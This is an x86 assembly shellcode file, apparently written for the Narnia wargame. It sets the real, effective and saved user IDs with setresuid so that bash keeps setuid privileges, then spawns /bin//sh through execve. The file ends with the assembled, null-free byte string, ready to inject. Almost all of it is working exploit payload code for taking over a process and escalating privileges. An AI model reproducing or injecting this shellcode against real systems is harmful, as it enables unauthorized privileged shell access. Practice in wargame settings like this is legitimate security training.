shellcode.s

.text

.global _start

_start:
	
	# setresuid() syscall
	# Narnia FIX: Bash drop the setuid bit if EUID != RUID
	# I need to call setresuid() to set a different RUID
	xor %eax, %eax		# Cleaning syscall number
	xor %ecx, %ecx		# 0: Third parameter of syscall (SUID)
	dec %ecx		# -1: Third parameter of syscall (SUID)
	xor %edx, %edx		# 0: Second parameter of syscall (EUID) 
	dec %edx		# -1: Second parameter of syscall (EUID)
	mov $0x36b2, %bx	# First parameter of syscall (RUID)
	mov $0xd0, %al 		# setresuid() syscall number
	int $0x80

	# execve() syscall
	xor %eax, %eax
	push %eax		# Pushing NULL values to the stack
	push $0x68732f2f 	# 68 = h, 73 = s, 2f = / => hs// (little endian)
	push $0x6e69622f 	# 6e = n, 69 = i, 62 = b => nib/ (little endian)
	mov %esp, %ebx	 	# Putting the pointer to string into ebx
	mov %eax, %ecx	 	# Putting the pointer to NULL as second argument
	mov %eax, %edx		# Putting another pointer to NULL as third argument
	mov $0xb, %al		# Syscall number for execve() into al without null bytes
	int $0x80		# Interrupt 80
	# exit() syscall
	xor %eax, %eax
	inc %eax
	int $0x80
	
# Shellcode: \x31\xc0\x31\xc9\x49\x31\xd2\x4a\x66\xbb\xb2\x36\xb0\xd0\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80